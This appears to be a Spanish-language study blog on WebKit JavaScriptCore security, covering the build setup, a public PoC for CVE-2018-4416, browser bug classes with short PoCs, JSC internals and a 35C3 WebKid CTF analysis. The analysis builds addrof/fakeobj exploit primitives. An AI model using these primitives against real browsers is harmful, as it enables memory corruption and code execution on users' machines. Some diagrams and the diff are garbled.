
Explotación del CVE-2018-4416 para WebKit jsc
Elegí uno relativamente fácil: /WebKit/. (ChakraCore podría ser más fácil, LoL. Pero hay un rumor sobre Microsoft cancelando el proyecto. Por lo tanto, decidí no elegirlo).
Escribiré una serie de publicaciones para registrar mis notas al estudiar la seguridad de /WebKit/. También es la primera vez que aprendo Seguridad de Navegadores, mis publicaciones probablemente tendrán muchos errores. Si los notas, no dudes en contactarme para corregirlos.
Antes de leerlo, necesitas saber: - Gramática de C++ - Gramática de Lenguaje Ensamblador - Instalación de Máquina Virtual - Familiaridad con Ubuntu y su línea de comandos - Conceptos básicos de teoría de compiladores
** Máquina Virtual :PROPERTIES: :CUSTOM_ID: virtual-machine :END: Primero, necesitamos instalar una VM como nuestro objetivo de pruebas. Aquí, elijo /Ubuntu 18.04 LTS/ y /Ubuntu 16.04 LTS/ como nuestro host objetivo. Puedes descargar [[https://www.ubuntu.com/][aquí]]. Si no especifico la versión, por favor usa 18.04 LTS como versión predeterminada.
Mac podría ser una opción más apropiada ya que tiene XCode y Safari. Considerando el alto consumo de recursos de MacOS y las actualizaciones inestables, prefiero usar Ubuntu.
Necesitamos un software de VM. Prefiero usar [[https://www.vmware.com/][VMWare]]. Parallel Desktop y VirtualBox (Gratuito) también son adecuados, depende de tu hábito personal.
No te diré cómo instalar Ubuntu en VMWare paso a paso. Sin embargo, aún necesito recordarte que asignes tanta memoria y CPUs como sea posible porque la compilación consume una gran cantidad de recursos. Un disco de 80 GB debería ser suficiente para almacenar el código fuente y los archivos compilados.
** Código Fuente :PROPERTIES: :CUSTOM_ID: source-code :END: Puedes descargar el código fuente de WebKit de tres maneras: [[https://github.com/WebKit/webkit][/git/]], /svn/, y [[https://webkit.org/getting-the-code/][/archivo/]].
El gestor de versiones predeterminado de WebKit es svn. Pero elijo git (demasiado poco familiarizado con svn):
#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example
** Depurador y Editor :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: El IDE consume muchos recursos, por lo que uso vim para editar el código fuente.
La mayoría de los trabajos de depuración que he visto usan lldb con el cual no estoy familiarizado. Por lo tanto, también instalo gdb con el plugin gef.
#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src
** Prueba :PROPERTIES: :CUSTOM_ID: test :END: *** Compilando JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: Compilar un WebKit completo lleva una gran cantidad de tiempo. Actualmente solo compilamos JSC (JavaScript Core), de donde provienen la mayoría de las vulnerabilidades.
Ahora, debes estar en el directorio raíz del código fuente de WebKit. Ejecuta esto para preparar las dependencias:
#+begin_src shell Tools/gtk/install-dependencies #+end_src
Aunque aún no compilemos el WebKit completo ahora, puedes instalar las dependencias restantes primero para futuras pruebas. Este paso no es necesario para compilar JSC si no deseas invertir demasiado tiempo:
#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src
Después de eso, podemos compilar JSC:
#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src
Unos minutos después, podemos ejecutar JSC con:
#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src
Hagamos algunas pruebas:
#+begin_example
1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example
*** Provocando Errores :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:
#+begin_quote Ubuntu 18.04 LTS aquí #+end_quote
Usamos [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] para probar, aquí está el PoC. Guárdalo como =poc.js= en la misma carpeta de =jsc=:
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // Iniciando la optimización. for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // El ID de estructura de "tmp" se almacena en un JSPropertyNameEnumerator.
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // El ID de estructura de "obj" es igual al de tmp.
return obj[k]; // Confusión de tipos.
}
}
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;
let fake_object = opt(fake_object_memory); print(fake_object); #+end_example
Primero, cambia a la versión vulnerable:
#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example
#+begin_quote Puede tomar incluso más tiempo que compilar #+end_quote
Ejecuta: =./jsc poc.js=, y podemos obtener:
#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example
Si ejecutamos esto en la última versión (=git checkout master= para volver, y eliminar el contenido compilado =rm -rf WebKitBuild/Relase/= y =rm -rf WebKitBuild/Debug/=):
#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined
================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*,
... // muchos mensajes de error
SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example
¡Ahora, logramos provocar un error!
No voy a explicar el detalle (yo tampoco lo sé). Espero que podamos descubrir la causa raíz después de algunas semanas.
Aquí, solo discuto errores relacionados con el nivel binario. Algunos errores de nivel superior, como /URL Spoof/ o /UXSS/, no son nuestro tema. Los ejemplos a continuación no son solo de WebKit. Algunos son errores de Chrome. Los presentaremos brevemente. Y analizaremos PoC específicos más adelante.
Antes de leer esta parte, se recomienda encarecidamente leer algunos materiales sobre teoría de compiladores. También se debe aprender conocimiento básico de Pwn. Mi explicación no es clara. Nuevamente, corrige mis errores si los encuentras.
Esta publicación se actualizará varias veces a medida que mi comprensión de JSC se profundice. No olvides revisarla más tarde.
** 1. Use After Free :PROPERTIES: :CUSTOM_ID: use-after-free :END: También conocido como =UAF=. Esto es común en los desafíos CTF, un escenario clásico:
#+begin_src C char* a = malloc(0x100); free(a); printf("%s", a); #+end_src
Debido a algunos errores lógicos. El código reutilizará memoria liberada. Normalmente, podemos filtrar o escribir una vez que controlamos la memoria liberada.
CVE-2017-13791 es un ejemplo de UAF en WebKit. Aquí está el PoC:
#+begin_example
a b #+end_example** 2. Fuera de Límites :PROPERTIES: :CUSTOM_ID: out-of-bound :END: También conocido como =OOB=. Es como el desbordamiento en el navegador. Aún así, podemos leer/escribir memoria cercana. =OOB= ocurre con frecuencia debido a optimizaciones falsas de un array o verificación insuficiente. Por ejemplo ([[https://bugs.chromium.org/p/project-zero/issues/detail?id=1033][CVE-2017-2447]]):
#+begin_example var ba; function s(){ ba = this; }
function dummy(){ alert("just a function"); }
Object.defineProperty(Array.prototype, "0", {set : s }); var f = dummy.bind({}, 1, 2, 3, 4); ba.length = 100000; f(1, 2, 3); #+end_example
#+begin_quote Cuando se llama a Function.bind, los argumentos de la llamada se transfieren a un Array antes de pasarlos a JSBoundFunction::JSBoundFunction. Como es posible que el prototipo de Array tenga un setter añadido, es posible que el script de usuario obtenga una referencia a este Array y lo altere para que la longitud sea mayor que el array nativo subyacente de mariposa. Luego, cuando boundFunctionCall intenta copiar este array a los parámetros de la llamada, asume que la longitud no es mayor que el array asignado (lo cual sería cierto si no se hubiera alterado) y lee fuera de los límites. #+end_quote
En la mayoría de los casos, no podemos sobrescribir directamente el registro =$RIP=. Los escritores de exploits siempre crean arrays falsos para convertir la R/W parcial en R/W arbitraria.
** 3. Confusión de Tipos :PROPERTIES: :CUSTOM_ID: type-confusion :END: Es una vulnerabilidad especial que ocurre en aplicaciones con el compilador. Y este error es un poco difícil de explicar.
Imaginemos que tenemos el siguiente objeto (32 bits):
#+begin_src C struct example{ int length; char *content; } #+end_src
Entonces, si tenemos un objeto =length= == =5= con un puntero =content= en la memoria, probablemente se verá así:
#+begin_example 0x00: 0x00000005 -> longitud 0x04: 0xdeadbeef -> puntero #+end_example
Una vez que tenemos otro objeto:
#+begin_src C struct exploit{ int length; void (*exp)(); } #+end_src
Podemos forzar al compilador a analizar el objeto =example= como objeto =exploit=. Podemos convertir la función =exp= en una dirección arbitraria y lograr RCE.
Un ejemplo de confusión de tipos:
#+begin_example var q; function g(){ q = g.caller; return 7; }
var a = [1, 2, 3]; a.length = 4; Object.defineProperty(Array.prototype, "3", {get : g}); [4, 5, 6].concat(a); q(0x77777777, 0x77777777, 0); #+end_example
Citado de [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1032][CVE-2017-2446]]
#+begin_quote Si un script integrado en webkit está en modo estricto, pero luego llama a una función que no es estricta, esta función puede llamar a Function.caller y obtener una referencia a la función estricta. #+end_quote
** 4. Desbordamiento de Entero :PROPERTIES: :CUSTOM_ID: integer-overflow :END: El desbordamiento de entero también es común en CTF. Aunque el desbordamiento de entero en sí mismo no puede llevar a RCE, probablemente conduzca a =OOB=.
No es difícil de entender este error. Imagina que ejecutas el siguiente código en una máquina de 32 bits:
#+begin_example mov eax, 0xffffffff add eax, 2 #+end_example
Porque el máximo de =eax= es =0xffffffff=. No puede contener =0xffffffff= + =2= = =0x100000001=. Por lo tanto, el byte superior se desbordará (se eliminará). El resultado final de =eax= es =0x00000001=.
Este es un ejemplo de WebKit ([[https://phoenhex.re/2017-06-02/arrayspread][CVE-2017-2536]]):
#+begin_example var a = new Array(0x7fffffff); var x = [13, 37, ...a, ...a]; #+end_example
#+begin_quote La longitud no se verifica correctamente, lo que resulta en que podemos desbordar la longitud al expandir un array al anterior. Luego, podemos usar el array extensivo para =OOB=. #+end_quote
** 5. Otros :PROPERTIES: :CUSTOM_ID: else :END: Algunos errores son difíciles de categorizar: - Condición de Carrera - Memoria No Asignada - ...
Los explicaré en detalle más adelante.
Y JSC tiene: - lexer - parser - intérprete de inicio (LLInt) - tres compiladores JIT de JavaScript, su tiempo de compilación se vuelve gradualmente más largo pero se ejecutan cada vez más rápido: + baseline JIT, el JIT inicial + un JIT optimizador de baja latencia (DFG) + un JIT optimizador de alto rendimiento (FTL), fase final de JIT - dos motores de ejecución de WebAssembly: + BBQ + OMG
#+begin_quote Sigue siendo un descargo de responsabilidad, esta publicación podría ser inexacta o incorrecta al explicar los mecanismos de WebKit #+end_quote
Si has aprendido cursos básicos de teoría de compiladores, lexer y parser son como se enseñan en clase. Pero la parte de generación de código es frustrante. Tiene un intérprete y tres compiladores, ¿qué? JSC también tiene muchas otras características no convencionales, echemos un vistazo:
** Representación de Valores en JSC :PROPERTIES: :CUSTOM_ID: jsc-value-representation :END: Para facilitar la identificación, JSC representa los valores de manera diferente: - puntero: =0000:PPPP:PPPP:PPPP= (comienza con 0000, luego su dirección) - double (comienza con 0001 o FFFE): + =0001:::= + =FFFE:::= - entero: =FFFF:0000:IIII:IIII= (usa =IIII:IIII= para almacenar el valor) - false: =0x06= - true: =0x07= - undefined: =0x0a= - null: =0x02=
=0x0=, sin embargo, no es un valor válido y puede provocar un fallo.
** Modelo de Objetos en JSC :PROPERTIES: :CUSTOM_ID: jsc-object-model :END: A diferencia de Java, que tiene miembros de clase fijos, JavaScript permite agregar propiedades en cualquier momento.
Por lo tanto, a pesar de alinear estáticamente las propiedades de manera tradicional, JSC tiene un puntero butterfly para agregar propiedades dinámicas. Es como un array adicional. Expliquemos esto en varias situaciones.
Además, JSArray siempre se asignará al puntero butterfly ya que cambian dinámicamente.
Podemos entender el concepto fácilmente con el siguiente gráfico:
*** 0x0 JSObject Rápido :PROPERTIES: :CUSTOM_ID: x0-fast-jsobject :END: Las propiedades se inicializan:
#+begin_example var o = {f: 5, g: 6}; #+end_example
El puntero butterfly será nulo aquí ya que solo tenemos propiedades estáticas:
#+end_example
Ampliemos nuestro conocimiento de JSObject. Como vemos, cada =ID de estructura= tiene una tabla de estructura coincidente. Dentro de la tabla, contiene los nombres de las propiedades y sus desplazamientos. En nuestro objeto anterior =o=, la tabla se ve así:
| nombre de propiedad | ubicación |
|---|---|
| "f" | inline(0) |
| "g" | inline(1) |
Cuando queremos recuperar un valor (por ejemplo, =var v = o.f=), ocurren los siguientes comportamientos:
#+begin_src cpp if (o->structureID == 42) v = o->inlineStorage[0] else v = slowGet(o, “f”) #+end_src
Quizás te preguntes por qué el compilador recuperará directamente el valor a través del desplazamiento cuando sabe que el =ID= es =42=. Esto es un mecanismo llamado caché en línea (inline caching), que nos ayuda a obtener el valor más rápido. No hablaremos mucho de esto, [[http://www.filpizlo.com/slides/pizlo-icooolps2018-inline-caches-slides.pdf][haz clic aquí]] para más detalles.
*** 0x1 JSObject con Campos Agregados Dinámicamente :PROPERTIES: :CUSTOM_ID: x1-jsobject-with-dynamically-added-fields :END: #+begin_example var o = {f: 5, g: 6}; o.h = 7; #+end_example
Ahora, el butterfly tiene un slot, que es 7.
#+end_example
*** 0x2 JSArray con Espacio para 3 Elementos de Array :PROPERTIES: :CUSTOM_ID: x2-jsarray-with-room-for-3-array-elements :END: #+begin_example var a = []; #+end_example
El butterfly inicializa un array con un tamaño estimado. El primer elemento =0= significa un número de slots usados. Y =3= significa los slots máximos:
| butterfly | -| ------------- -------------- | | 0 | | ------------- (8 bits para estos dos elementos) | | 3 | -> ------------- | | ------------- | | ------------- | | ------------- #+end_example
*** 0x3 Objeto con Propiedades Rápidas y Elementos de Array :PROPERTIES: :CUSTOM_ID: x3-object-with-fast-properties-and-array-elements :END: #+begin_example var o = {f: 5, g: 6}; o[0] = 7; #+end_example
Llenamos un elemento del array, por lo que =0= (slots usados) aumenta a =1= ahora:
| butterfly | -| ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000005 | | | 3 | -------------- -> ------------- | 0xffff000 | | 0xffff000 | | 000000006 | | 000000007 |
| <hole> |
-------------
| <hole> |
-------------
#+end_example*** 0x4 Objeto con propiedades rápidas y dinámicas y elementos de array :PROPERTIES: :CUSTOM_ID: x4-object-with-fast-and-dynamic-properties-and-array-elements :END: #+begin_example var o = {f: 5, g: 6}; o[0] = 7; o.h = 8; #+end_example
El nuevo miembro se añadirá antes de la dirección del puntero. Los arrays se colocan a la derecha y los atributos a la izquierda del puntero butterfly, justo como el ala de una mariposa:
| butterfly | -| ------------- -------------- | | 0xffff000 | | 0xffff000 | | | 000000008 | | 000000005 | | ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000006 | | | 2 | -------------- -> ------------- (pointer address) | 0xffff000 | | 000000007 | ------------- | | ------------- #+end_example
*** 0x5 Objeto exótico con propiedades dinámicas y elementos de array :PROPERTIES: :CUSTOM_ID: x5-exotic-object-with-dynamic-properties-and-array-elements :END: #+begin_example var o = new Date(); o[0] = 7; o.h = 8; #+end_example
Extendemos el butterfly con una clase incorporada; las propiedades estáticas no cambiarán:
| butterfly | -| ------------- -------------- | | 0xffff000 | | < C++ | | | 000000008 | | State > | -> ------------- -------------- | 1 | | < C++ | ------------- | State > | | 2 |
| 0xffff000 |
| 000000007 |
-------------
| <hole> |
-------------
#+end_example
** Inferencia de Tipos :PROPERTIES: :CUSTOM_ID: type-inference :END: JavaScript es un lenguaje de tipado débil y dinámico. El compilador realiza mucho trabajo en la inferencia de tipos, lo que lo hace extremadamente complicado.
*** Watchpoints :PROPERTIES: :CUSTOM_ID: watchpoints :END: Los watchpoints pueden ocurrir en los siguientes casos: - haveABadTime - Structure transition - InferredValue - InferredType - y muchos otros...
Cuando ocurren estas situaciones, se comprueba si el watchpoint ha sido optimizado. En WebKit, se representa así:
#+begin_src cpp class Watchpoint { public: virtual void fire() = 0; }; #+end_src
Por ejemplo, el compilador quiere optimizar =42.toString()= a ="42"= (devolver directamente en lugar de usar código para convertir), comprueba si ya está invalidado. Si es válido, registra el watchpoint y realiza la optimización.
** Compiladores :PROPERTIES: :CUSTOM_ID: compilers :END: *** 0x0. LLInt :PROPERTIES: :CUSTOM_ID: x0.-llint :END: Al principio, el intérprete genera una plantilla de bytecode. Usando JVM como ejemplo, para ejecutar archivos =.class=, que es otro tipo de plantilla de bytecode. El bytecode ayuda a ejecutar más fácilmente:
#+begin_example parser -> bytecompiler -> generatorfication -> bytecode linker -> LLInt #+end_example
*** 0x1. Baseline JIT y Plantilla de Bytecode :PROPERTIES: :CUSTOM_ID: x1.-baseline-jit-and-byte-code-template :END: El JIT más básico, aquí generará una =plantilla de bytecode=. Por ejemplo, esto es /add/ en JavaScript:
#+begin_example function foo(a, b) { return a + b; } #+end_example
Este es el IL de bytecode, que es más directo sin análisis léxicos sofisticados y más conveniente para convertir a asm:
#+begin_example [ 0] enter [ 1] get_scope loc3 [ 3] mov loc4, loc3 [ 6] check_traps [ 7] add loc6, arg1, arg2 [12] ret loc6 #+end_example
Los segmentos de código =7= y =12= pueden dar como resultado el siguiente IL de DFG (del que hablaremos a continuación). Podemos notar que tiene mucha información relacionada con tipos al operar. En la línea 4, el código comprobará si el tipo de retorno coincide:
#+begin_src cpp GetLocal(Untyped:@1, arg1(B/FlushedInt32), R:Stack(6), bc#7); GetLocal(Untyped:@2, arg2(C/FlushedInt32), R:Stack(7), bc#7); ArithAdd(Int32:@23, Int32:@24, CheckOverflow, Exits, bc#7); MovHint(Untyped:@25, loc6, W:SideState, ClobbersExit, bc#7, ExitInvalid); Return(Untyped:@25, W:SideState, Exits, bc#12); #+end_src
El AST se ve así:
#+begin_example +----------+ | return | +----+-----+ | | +----+-----+ | add | +----------+ | | | | v v +--+---+ +-+----+ | arg1 | | arg2 | +------+ +------+ #+end_example
*** 0x2. DFG :PROPERTIES: :CUSTOM_ID: x2.-dfg :END: Si JSC detecta que una función se ejecuta varias veces, pasa a la siguiente fase. La primera fase ya ha generado bytecode. Por lo tanto, el parser DFG analiza el bytecode directamente, que es menos abstracto y más fácil de analizar. Luego, DFG optimiza y genera código:
#+begin_example DFG bytecode parser -> DFG optimizer -> DFG Backend #+end_example
En este paso, el código se ejecuta muchas veces y su tipo es relativamente constante. La comprobación de tipos usará OSR.
Imaginemos que optimizamos desde esto:
#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // lots of stuff
x = is_ok(ptr) ? *ptr : slow_path(ptr); y = ... // lots of stuff z = is_ok(ptr) ? *ptr : slow_path(ptr); return w + x + y + z; } #+end_src
a esto:
#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // lots of stuff
if (!is_ok(ptr)) return foo_base1(ptr, w); x = *ptr; y = ... // lots of stuff z = *ptr; return w + x + y + z; } #+end_src
El código se ejecutará más rápido porque =ptr= solo hará la comprobación de tipo una vez. Si el tipo de /ptr/ es siempre diferente, el código optimizado se ejecuta más lento debido a las frecuentes salidas. Por lo tanto, solo cuando el código se ejecuta miles de veces, el navegador usa =OSR= para optimizarlo.
*** 0x3. FLT :PROPERTIES: :CUSTOM_ID: x3.-flt :END: Una función, si se ejecuta cientos o miles de veces, el JIT usará FLT. Como DFG, FLT reutilizará la plantilla de bytecode, pero con una optimización más profunda:
#+begin_example DFG bytecode parser -> DFG optimizer -> DFG-to-B3 lowering -> B3 Optimizer -> Instruction Selection -> Air Optimizer -> Air Backend #+end_example
*** 0x4. Más sobre Optimización :PROPERTIES: :CUSTOM_ID: x4.-more-about-optimization :END: Echemos un vistazo al cambio de IR en diferentes fases de optimización:
| IR | Estilo | Ejemplo | |----------+-------------------------+----------------------------------------------| | Bytecode | Carga/Almacenamiento de Alto Nivel | =bitor dst, left, right= | | DFG | SSA Exótico de Nivel Medio | =dst: BitOr(Int32:@left, Int32:@right, ...)= | | B3 | SSA Normal de Bajo Nivel | =Int32 @dst = BitOr(@left, @right)= | | Air | CISC Arquitectónico | =Or32 %src, %dest= |
La comprobación de tipo se elimina gradualmente. Ahora puedes entender por qué hay tantas confusiones de tipo en los CVE de navegadores. Además, cada vez se parecen más al código máquina.
Una vez que falla la comprobación de tipo, el código vuelve al IR anterior (p. ej., una comprobación de tipo falla en la etapa B3, el compilador vuelve a DFG y ejecuta en esa etapa).
** Recolector de Basura (TODO) :PROPERTIES: :CUSTOM_ID: garbage-collector-todo :END: El heap de JSC se basa en GC. Los objetos en el heap tienen un contador de sus referencias. GC escanea el heap para recolectar la memoria inútil.
...todavía, se necesita más material...
Este desafío es WebKid de 35c3 CTF. Puedes compilar el binario de WebKit (con instrucciones), la VM preparada y obtener el código de exploit [[https://github.com/saelo/35c3ctf/tree/master/WebKid][aquí]]. También se debe preparar macOS Mojave (10.14.2) en una VM o máquina real (creo que no afectará los crashes en diferentes versiones de macOS, pero la primitiva de ataque podría ser diferente).
Ejecutar mediante este comando:
#+begin_src shell DYLD_LIBRARY_PATH=/Path/to/WebKid DYLD_FRAMEWORK_PATH=/Path/to/WebKid /Path/to/WebKid/MiniBrowser.app/Contents/MacOS/MiniBrowser #+end_src
#+begin_quote Recuerda usar RUTA COMPLETA. De lo contrario, el navegador fallará #+end_quote
Si se ejecuta en una máquina local, recuerda crear =/flag1= para pruebas.
** Analizando :PROPERTIES: :CUSTOM_ID: analyzing :END: Veamos el parche:
#+begin_example diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp index 20fcd4032ce..a75e4ef47ba 100644 --- a/Source/JavaScriptCore/runtime/JSObject.cpp +++ b/Source/JavaScriptCore/runtime/JSObject.cpp @@ -1920,6 +1920,31 @@ bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, Proper return const_cast<JSObject*>(this)->getPropertySlot(exec, propertyName, slot); }
+static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) +{
return false;
return false;
ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
thisObject->setButterfly(vm, nullptr);
// ECMA 8.6.2.5 bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName) { @@ -1946,18 +1971,21 @@ bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName proper
Structure* structure = thisObject->structure(vm);
PropertyOffset offset;
if (structure->isUncacheableDictionary())
if (structure->isUncacheableDictionary()) {
offset = structure->removePropertyWithoutTransition(vm, propertyName, [] (const ConcurrentJSLocker&, PropertyOffset) { });
else
thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
} else {
if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) {
thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
}
}
if (offset != invalidOffset)
if (offset != invalidOffset && (!isOutOfLineOffset(offset) || thisObject->butterfly()))
thisObject->locationForOffset(offset)->clear();
diff --git a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in index 536481ecd6a..62189fea227 100644 --- a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in +++ b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in @@ -25,6 +25,12 @@ (deny default (with partial-symbolication)) (allow system-audit file-read-metadata)
+(allow file-read* (literal "/flag1")) + +(allow mach-lookup (global-name "net.saelo.shelld")) +(allow mach-lookup (global-name "net.saelo.capsd")) +(allow mach-lookup (global-name "net.saelo.capsd.xpc")) + #if PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101300 (import "system.sb") #else #+end_example
El mayor problema aquí está en la función =tryDeletePropertyQuickly=, que actuaba así (comentario proporcionado por /Linus Henze/):
#+begin_src cpp static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) { // This assert will always be true as long as we're not passing an "invalid" offset ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));
// Try to get the previous structure of this object
Structure* previous = structure->previousID();
if (!previous)
return false; // If it has none, stop here
unsigned unused;
// Check if the property we're deleting is the last one we added
// This must be the case if the old structure doesn't have this property
bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
if (!isLastAddedProperty)
return false; // Not the last property? Stop here and remove it using the normal way.
// Assert that adding the property to the last structure would result in getting the current structure
RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);
// Uninteresting. Basically, this just deletes this objects Butterfly if it's not an array and we're asked to delete the last out-of-line property. The Butterfly then becomes useless because no property is stored in it, so we can delete it.
if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
thisObject->setButterfly(vm, nullptr);
}
// Directly set the structure of this object
thisObject->setStructure(vm, previous);
return true;
} #+end_src
En resumen, un objeto volverá a la ID de estructura anterior al eliminar una propiedad añadida previamente. Por ejemplo:
#+begin_example var o = [1.1, 2.2, 3.3, 4.4]; // o es ahora un objeto con ID de estructura 122. o.property = 42; // o es ahora un objeto con ID de estructura 123. La estructura es una hoja (nunca ha hecho transición)
function helper() { return o[0]; } jitCompile(helper); // Ejecutar la función helper muchas veces // En este caso, el compilador JIT elegirá usar un watchpoint en lugar de comprobaciones en tiempo de ejecución // al compilar la función helper. Como tal, observa la estructura 123 para transiciones.
delete o.property; // o "retrocedió" a la ID de estructura 122. El watchpoint no se disparó. #+end_example
Repasemos algunos conceptos primero. En JSC, tenemos comprobaciones de tipo en tiempo de ejecución y watchpoint para garantizar la conversión de tipos correcta. Después de que una función se ejecuta muchas veces, el JSC no usará la comprobación de estructura. En su lugar, la reemplazará con un watchpoint. Cuando se modifica un objeto, el navegador debería disparar el watchpoint para notificar este cambio y retroceder al intérprete JS y generar nuevo código JIT.
Aquí, restaurar la ID anterior no dispara el =watchpoint= aunque la estructura haya cambiado, lo que significa que la estructura del butterfly pointer también cambiará. Sin embargo, el código JIT generado por =helper= no retrocederá ya que el watchpoint no se dispara, lo que lleva a una confusión de tipos. Y el código JIT aún puede acceder a la estructura butterfly antigua. Podemos filtrar/crear objetos falsos.
Esta es la primitiva mínima de ataque:
#+begin_example haxxArray = [13.37, 73.31]; haxxArray.newProperty = 1337;
function returnElem() { return haxxArray[0]; }
function setElem(obj) { haxxArray[0] = obj; }
for (var i = 0; i < 100000; i++) { returnElem(); setElem(13.37); }
delete haxxArray.newProperty; haxxArray[0] = {};
function addrof(obj) { haxxArray[0] = obj; return returnElem(); }
function fakeobj(address) { setElem(address); return haxxArray[0]; } // El código JIT lo trata como entero, pero en realidad debería ser un objeto. // Podemos filtrar la dirección desde aquí print(addrof({})); // Casi lo mismo que arriba, pero para escribir datos print(fakeobj(addrof({}))); #+end_example
** Funciones de Utilidad :PROPERTIES: :CUSTOM_ID: utility-functions :END: El script de exploit crea muchas funciones de utilidad. Nos ayudan a crear la primitiva que se necesita en casi todos los exploits de WebKit. Solo veremos algunas funciones importantes.
*** Obtener Código Nativo :PROPERTIES: :CUSTOM_ID: getting-native-code :END: Para atacar, necesitamos una función de código nativo para escribir shellcode o ROP. Además, las funciones solo serán código nativo después de ejecutarse muchas veces (esta está en =pwn.js=):
#+begin_example function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } }
function makeJITCompiledFunction() { // Some code that can be overwritten by the shellcode. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);
return target;
} #+end_example
*** Controlando Bytes :PROPERTIES: :CUSTOM_ID: controlling-bytes :END: En =int64.js=, creamos una clase =Int64=. Usa =Uint8Array= para almacenar números y crea muchas operaciones relacionadas como =add= y =sub=. En el capítulo anterior, mencionamos que JavaScript usa valor etiquetado para representar números, lo que significa que no se puede controlar el byte superior. El array =Uint8Array= representa enteros sin signo de 8 bits como valor nativo, permitiéndonos controlar los 8 bytes.
Ejemplo de uso simple de =Uint8Array=:
